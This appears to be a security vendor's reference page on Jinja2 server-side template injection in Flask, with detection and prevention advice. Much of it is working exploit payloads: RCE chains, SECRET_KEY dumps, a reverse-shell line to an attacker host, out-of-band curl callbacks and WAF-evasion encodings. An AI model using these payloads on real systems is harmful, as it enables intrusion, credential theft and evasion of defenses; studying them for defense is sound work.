Server-Side Template Injection in Jinja2 (Python/Flask): RCE via __class__.__mro__ chains and the cycler/lipsum built-in globals.
{{7*7}} → 49; {{7*'7'}} → 7777777 confirms Jinja2 (Twig returns 49)''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True) reaches subprocess.Popen{{ cycler.__init__.__globals__.os.popen('id').read() }} — works against the default environment Flask's render_template_string uses; SandboxedEnvironment rejects it{{ config.SECRET_KEY.fail() }} leaks secrets via exception tracerender_template('file.html', var=user_input) — never render_template_string(user_input)Jinja2 is the default template engine for Flask and a widely used Python templating library in Django extensions and standalone applications. SSTI in Jinja2 occurs when user-controlled input is passed as the template source to render_template_string() or jinja2.Template() rather than as a rendering variable to a pre-compiled template file. The Jinja2 engine lexes and evaluates the attacker's input as executable template syntax, enabling access to Python's introspective object model and ultimately the operating system.
The impact of Jinja2 SSTI is typically Remote Code Execution. Python's object model makes the escape from template context to the operating system reliable without requiring any imports: every Python object exposes its class hierarchy via __class__.__mro__, and from object (the root), __subclasses__() enumerates every loaded class including subprocess.Popen. The Jinja2 engine also exposes built-in globals — cycler, joiner, lipsum, namespace — that carry __globals__ attributes providing direct access to the os module. That path is the fastest route to RCE against a default environment, which is precisely what Flask's render_template_string() renders with (app.jinja_env.sandboxed is False). Those globals stay defined under SandboxedEnvironment as well, but there the sandbox rejects the __init__/__globals__ attribute access itself with a SecurityError — see the FAQ for the verified behavior on Jinja2 3.1.6.
OWASP A03:2021 (Injection) and CWE-1336 apply. Jinja2 SSTI is one of the most common real-world SSTI variants due to Flask's popularity and the non-obvious danger of render_template_string. The misuse pattern is consistently identified in bug bounty programs: HackerOne #423541 — a $3,000 bounty for leaking a Flask SECRET_KEY — is the canonical published example.
The vulnerable code pattern in Flask:
# VULNERABLE — user_name is the template SOURCE
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/greet")
def greet():
name = request.args.get("name", "World")
return render_template_string(f"Hello {name}!") # SSTI vectorThe attacker submits:
GET /greet?name={{7*7}} HTTP/1.1
Host: vulnerable-flask.example.comResponse: Hello 49! — Jinja2 evaluated 7*7. Escalation path:
# Stage 1 — Confirm Jinja2 ({{7*'7'}} → 7777777 Jinja2, 49 Twig)
{{7*7}}
# Stage 2 — Dump Flask config keys
{{ config.items() }}
# Returns: [('SECRET_KEY', 'super-secret'), ('DEBUG', True), ...]
# Stage 3 — Enumerate subclasses for Popen index (verbose — use cycler instead)
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Stage 4a — MRO chain RCE (N = index of subprocess.Popen, ~258-300 on Python 3.9)
{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}
# Stage 4b — cycler globals bypass (preferred: version-independent)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Stage 4c — lipsum globals (dict access, bypasses dot notation filters)
{{ lipsum.__globals__['os'].popen('id').read() }}
# Stage 4d — joiner bypass
{{ joiner.__init__.__globals__.os.popen('id').read() }}| Variant | Payload | Requirement | Impact |
|---|---|---|---|
| Math eval | {{7*7}} | Any Jinja2 | Engine confirmation |
| Config dump | {{ config.items() }} | Flask context | SECRET_KEY, DB URI leak |
| MRO traversal | ''.__class__.__mro__[1].__subclasses__()[N]('id',shell=True) | Standard env | RCE via subprocess.Popen |
| Cycler bypass | cycler.__init__.__globals__.os.popen('id').read() | Default (non-sandboxed) env | RCE bypassing class filter |
| Lipsum bypass | lipsum.__globals__['os'].popen('id').read() | Default (non-sandboxed) env | RCE via dict access |
|attr() bypass | request|attr('application')|attr('__globals__')... | Request context, default env | RCE bypassing keyword blocklist |
| Error-based exfil | {{ config.SECRET_KEY.fail() }} | Any (blind SSTI) | Config leak via exception |
| OOB DNS | cycler.__init__.__globals__.os.popen('curl TOKEN.oast.pro').read() | RCE confirmed | Blind confirmation |
| Reverse shell | cycler.__init__.__globals__.os.popen('bash -i >&/dev/tcp/attacker/4444 0>&1') | Network access | Full interactive shell |
|attr() alone only defeats filters that pattern-match dot-notation (\.\w+) attribute access — the attribute name itself (__globals__, __class__, …) is still present as a literal substring in the request, so a keyword-scanning WAF still catches it. Full evasion against literal keyword/regex rules requires combining |attr() with hex-escaped attribute names — see Detection Rules & WAF Bypass below for the verified mechanism and the signatures it defeats.
# Dot-notation bypass only — "__globals__" is still a literal substring, caught by keyword scanners
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__import__')('os')|attr('popen')('id')|attr('read')() }}# Trigger AttributeError — may leak SECRET_KEY in stack trace
{{ config.SECRET_KEY.nonexistent_attribute() }}
# Response: AttributeError: 'str' object has no attribute 'nonexistent_attribute'
# Universal fingerprinting probe
${{<%[%'"}}%\
# Jinja2 returns: jinja2.exceptions.TemplateSyntaxError: unexpected '<'
# Force UndefinedError to reveal available variables
{{ undefined_var }} # with StrictUndefined: shows available vars in errorHackerOne #423541 — Flask SECRET_KEY Leak ($3,000 bounty)
A public Flask API accepted a name parameter and used render_template_string(f"Hello {name}!") to generate personalized greetings. A researcher submitted {{ config.SECRET_KEY }} and received the application's signing key in plaintext. With the key, session cookies and JWT tokens could be forged, granting admin access. The fix was replacing render_template_string with render_template("greet.html", name=name). The vulnerability is canonical — it appears in PortSwigger's SSTI lab and virtually every SSTI training resource.
CVE-2024-56201 — Jinja2 Compiler Sandbox Breakout via Malicious Filename (CVSS 3.1 8.8 per NIST)
Jinja2 before 3.1.5 had a bug in the compiler itself: an attacker who controls both a template's filename and its content — not just the source passed to render_template_string — could execute arbitrary Python code, and the sandbox provided no protection against it. NIST scores this CVSS 3.1 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H); GitHub's own CVSS 4.0 rating for the same flaw is markedly lower, 5.4, reflecting that model's stricter attack-requirement scoring. Fixed in Jinja2 3.1.5. This CVE demonstrates that Jinja2's sandbox is not a safeguard against attacker-controlled template loading, only against attacker-controlled template output.
Email Template Preview — Enterprise SSTI Pattern
A recurring pattern in enterprise Flask applications: email notification systems allow users to customize templates with variables like {{ user.name }}. The preview endpoint renders user-provided templates via render_template_string(). An attacker submits {{ config.MAIL_SERVER }}{{ config.MAIL_PASSWORD }} to exfiltrate SMTP credentials silently. This pattern appears across CRM platforms, marketing automation tools, and notification services. The correct implementation uses only pre-compiled templates with user data as variables.
Flask Debug Mode SECRET_KEY via Error Trace
Jinja2 applications running in DEBUG=True mode produce stack traces that include the full Flask config dictionary. The Korchagin error-based technique ({{ config.SECRET_KEY.fail() }}) triggers a 500 response with AttributeError that includes the SECRET_KEY value in the debug output — even if the application filters {{ config }} output. This is a blind-to-in-band conversion via error channel rather than template output.
The cycler, joiner, lipsum, and namespace Jinja2 globals expose __globals__ containing the os module, and achieve RCE in a single expression against a default environment — which is what Flask's render_template_string() uses, since app.jinja_env.sandboxed is False. Verified on Jinja2 3.1.6, jinja2.sandbox.SandboxedEnvironment does block that chain (SecurityError on __init__ / __globals__), but the sandbox is a mitigation with its own breakout history (CVE-2025-27516, fixed in 3.1.6) — not a licence to render untrusted template source.
{{7*7}} — response 49 confirms a {{}} engine.{{7*'7'}} — 7777777 confirms Jinja2; 49 confirms Twig. This is the definitive engine differentiator.{{ config }} or {{ config.items() }} — a Python dict with Flask config keys confirms Flask/Jinja2 context.{{ config.SECRET_KEY.fail() }} — a 500 AttributeError confirms Jinja2 and may leak the key in the stack trace.${{<%[%'"}}%\ — error signature jinja2.exceptions.TemplateSyntaxError: unexpected '<' confirms Jinja2.# SSTImap v1.3.0 — Jinja2-specific with Korchagin error-based
sstimap -u "http://target.com/greet?name=*" --engine Jinja2
# tplmap — stable legacy
tplmap.py -u "http://target.com/greet?name=*"
# Semgrep SAST — catch at development time
semgrep --config "p/flask" /path/to/app/
# Triggers rule: python.flask.security.injection.tainted-string-formatBreachVex detects Jinja2 SSTI through complementary techniques: paired arithmetic probes ({{7*7}} + {{7*'7'}}) for confirmation, Korchagin polyglot for engine fingerprinting, and out-of-band callbacks with {{ cycler.__init__.__globals__.os.popen('curl TOKEN.oast.pro').read() }} for blind contexts.
Every WAF or IDS rule targeting Jinja2 SSTI ultimately reduces to pattern-matching the template delimiter syntax ({{ }} / {% %}) combined with a keyword list of dangerous attribute names. Because Jinja2 exposes those dangerous paths as literal Python attribute names — __class__, __mro__, __subclasses__, __globals__, __builtins__, __import__ — and a small set of always-present globals (cycler, lipsum, joiner, namespace), most production rulesets converge on the same handful of regex signatures. This section documents those signatures and the verified techniques that evade each one — distinct from the generic, engine-agnostic detection covered on the SSTI pillar page.
# 1. Delimiter + dangerous-attribute keyword — the most common WAF/IDS rule shape
\{\{.*(__class__|__mro__|__subclasses__|__globals__|__builtins__|__import__).*\}\}
# 2. Jinja2-specific "free" gadget globals — cycler/lipsum/joiner/namespace are
# always defined and, in a default (non-sandboxed) environment, reach os through
# __globals__ with no request or config object needed; several public rulesets
# key on these names directly
\{\{\s*(cycler|lipsum|joiner|namespace)\b
# 3. Filter-chain attribute traversal — catches |attr() abuse
\|\s*attr\s*\(
# 4. Statement-tag control flow used for RCE, not conditional rendering
\{%\s*(for|if|set|with)\b[^%]*(__class__|__subclasses__|__globals__)
# 5. Config/secret dump probes
\{\{\s*config\bAll five rely on the dangerous string being present, unescaped, in the raw request. That single assumption is what every verified bypass below exploits.
Every technique below defeats a request-inspection rule — a WAF signature or an application-level keyword blocklist. None of them escapes jinja2.sandbox.SandboxedEnvironment: verified on Jinja2 3.1.6, |attr('\x5f\x5fclass\x5f\x5f'), ["__class__"] and .__class__ all resolve to Undefined under the sandbox, and the statement-tag chain raises SecurityError. They assume a default environment — the realistic case for render_template_string().
# 1. Hex/unicode-escaped attribute names -- Jinja2's own lexer decodes every string
# literal through Python's `unicode-escape` codec (jinja2/lexer.py), so the hex
# escape \x5f renders as "_" at evaluation time (Jinja2 also accepts the
# equivalent u-prefixed unicode escape form) while never appearing as the
# literal "__" substring signature #1 looks for. Full RCE chain, from @SecGus:
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
# 2. Split-parameter concatenation — the dangerous keyword never appears assembled
# in a single field, only reconstructed by Jinja2's |join filter at render time.
# Request: GET /?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
{{ request|attr([request.args.usc*2, request.args.class, request.args.usc*2]|join) }}
# 3. Statement-tag traversal — defeats signature #1 (which only scans {{ }} expression
# blocks) by splitting the gadget across {% for %}/{% if %} statement tags, and
# avoids hardcoding the __subclasses__() index by matching the class name at
# runtime instead:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{ x()._module.__builtins__['__import__']('os').popen(request.args.input).read() }}{% endif %}{% endfor %}
# 4. Bracket notation — evades filters keyed only on dot-notation ("\.\w+")
{{ request["__class__"] }}Regex/keyword WAF rules for Jinja2 SSTI are structurally brittle: Jinja2's string-literal grammar accepts the same Python-style escape sequences (\xHH, \uHHHH) as the CPython lexer, so every dangerous attribute name a WAF blocklists can be re-encoded without changing what Jinja2 executes. The only durable control is eliminating render_template_string(user_input) — see Prevention below — not a longer keyword list.
The Twig SSTI page documents the equivalent {{7*'7'}} engine-differentiation probe for Symfony/PHP stacks — the delimiter syntax is nearly identical, which is exactly why WAF rules that only match {{ }} generically produce false positives across engines and false negatives against {% %}-only payloads. This detection gap is one reason OWASP's 2025 Top 10 injection category treats template injection as a subset of broader systemic input-handling failures rather than a single signature-matchable pattern.
BreachVex's Jinja2 detection layers the arithmetic probe pair, the Korchagin polyglot, and out-of-band callbacks (all covered above) with signature-agnostic behavioral confirmation — it does not rely on matching __class__/__globals__ as literal strings, so the hex-escape and split-parameter bypasses above do not evade it.
# VULNERABLE — user_name is the template source
from flask import render_template_string
@app.route("/greet")
def greet():
name = request.args.get("name")
return render_template_string(f"Hello {name}!") # SSTI
# SAFE — user_name is a rendering variable
from flask import render_template
@app.route("/greet")
def greet():
name = request.args.get("name")
return render_template("greet.html", name=name) # safe<!-- templates/greet.html -->
<!-- Jinja2 auto-escapes HTML in .html templates served via render_template -->
<p>Hello {{ name }}!</p>from jinja2.sandbox import SandboxedEnvironment
from jinja2 import StrictUndefined
env = SandboxedEnvironment(
autoescape=True,
undefined=StrictUndefined
)
env.globals.clear() # CRITICAL: removes cycler, joiner, lipsum, namespace
env.filters = { # allowlist only safe filters
'escape': env.filters['escape'],
'upper': env.filters['upper'],
'lower': env.filters['lower'],
'truncate': env.filters['truncate'],
}
# User-provided template source — sandbox as last resort only
tmpl = env.from_string(user_provided_template)
result = tmpl.render(display_name=sanitized_value)app = Flask(__name__)
# Enforce autoescape for all templates
app.jinja_env.autoescape = True
# Lock template loading to a specific directory
from jinja2 import FileSystemLoader
app.jinja_loader = FileSystemLoader('/app/templates')
# Never allow user input to construct template paths
# DANGEROUS: render_template(user_input + ".html")
# SAFE: assert user_input in ALLOWED_TEMPLATES before render_template
ALLOWED_TEMPLATES = {"welcome", "invoice", "receipt"}
if template_name not in ALLOWED_TEMPLATES:
abort(400)
return render_template(f"{template_name}.html", **safe_vars)Jinja2 SSTI occurs when user-controlled input is passed as the template source to render_template_string() or Template() in Flask/Python applications. The Jinja2 engine evaluates the attacker's expressions, enabling object traversal via Python's MRO chain to reach os.popen() or subprocess, yielding Remote Code Execution.
Python classes expose __mro__ listing the inheritance chain up to object. Every Python object can reach __subclasses__(), which enumerates all loaded classes. Among those, subprocess.Popen can be found and called: ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate(). The index N varies by Python version and loaded imports.
The cycler Jinja2 builtin is available in every template environment unless explicitly cleared. In a default, non-sandboxed environment — which is exactly what Flask's render_template_string uses — its __init__.__globals__ exposes the os module directly: {{ cycler.__init__.__globals__.os.popen('id').read() }}. This bypasses keyword filters on __class__, __mro__, and __subclasses__ while achieving RCE in a single expression. joiner and namespace builtins offer equivalent paths. It is a filter bypass, not a sandbox bypass: under jinja2.sandbox.SandboxedEnvironment the same expression raises SecurityError (verified on Jinja2 3.1.6).
Against the published global-gadget chains, yes. Verified on Jinja2 3.1.6: cycler.__init__.__globals__ and lipsum.__globals__['os'] both raise SecurityError inside SandboxedEnvironment, and |attr('__globals__') returns Undefined. The globals themselves stay defined — what the sandbox rejects is the dunder attribute access that turns them into a gadget. What SandboxedEnvironment has repeatedly failed at is its own breakout CVEs: CVE-2025-27516 (breakout via the attr filter reaching str.format, fixed in 3.1.6), CVE-2024-56326 (indirect str.format reference, fixed in 3.1.5), CVE-2019-10906 (str.format_map, fixed in 2.10.1). Keep Jinja2 patched, clear env.globals, restrict filters — and treat the sandbox as defense in depth, never as the control.
CVE-2024-56201: a Jinja2 compiler bug letting an attacker who controls both a template's filename and its content execute arbitrary Python code, bypassing the sandbox entirely (CVSS 3.1 8.8 per NIST; GitHub's own CVSS 4.0 score is 5.4 — fixed in 3.1.5). CVE-2020-28493: Jinja2 ReDoS (CVSS 7.5). Most Jinja2 SSTI is application-level: HackerOne #423541 (Flask SECRET_KEY leak via render_template_string, $3,000 bounty). The engine itself is not the bug — the misuse of render_template_string with user input is.
|attr('__class__') is equivalent to .__class__ but avoids literal attribute-name filters in an application blocklist or a WAF rule keyed on dot notation. The full chain: request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__import__')('os')|attr('popen')('id')|attr('read')() achieves RCE against a default environment while bypassing keyword blocklists. It is a filter bypass, not a sandbox bypass — verified on Jinja2 3.1.6, |attr('__globals__') under SandboxedEnvironment returns Undefined. The one genuine sandbox breakout through this filter was CVE-2025-27516 (|attr('format') reaching str.format), fixed in 3.1.6.
The Korchagin 'Successful Errors' technique (PortSwigger Top 10 2025, Rank #1) triggers a deliberate exception containing target data in the error trace. In Jinja2: {{ config.SECRET_KEY.nonexistent() }} raises AttributeError with the SECRET_KEY value visible in the error message. This converts blind SSTI into in-band data exfiltration.
The lipsum Jinja2 global (lorem ipsum generator) exposes __globals__ similarly to cycler. In a default, non-sandboxed environment, {{ lipsum.__globals__['os'].popen('id').read() }} achieves RCE using dictionary access rather than attribute access, bypassing filters that block dot notation. This bypass is included in SSTImap v1.3.0's Jinja2 payload set. Under SandboxedEnvironment it does not work: verified on Jinja2 3.1.6, lipsum.__globals__ resolves to Undefined and indexing it raises SecurityError.
Use jinja2.sandbox.SandboxedEnvironment with env.globals.clear(), set env.filters to only safe filters, and set undefined=StrictUndefined. Keep Jinja2 patched — the sandbox itself has had breakout CVEs, most recently CVE-2025-27516, fixed in 3.1.6. Consider whether user-defined templates are truly required — a constrained DSL is safer than any sandbox. Never treat SandboxedEnvironment alone as sufficient.
The index of subprocess.Popen in __subclasses__() varies by Python version and loaded modules. In Python 3.9 it is typically around 258-300. A reliable approach iterates and checks the class name. Against a default environment the cycler/lipsum/joiner globals bypasses are version-independent and more reliable for exploitation.
Submit {{7*'7'}} — Jinja2 returns 7777777 (Python string repetition), while Twig returns 49 (PHP numeric coercion). This single probe definitively identifies Jinja2 versus Twig and should precede any exploitation attempt.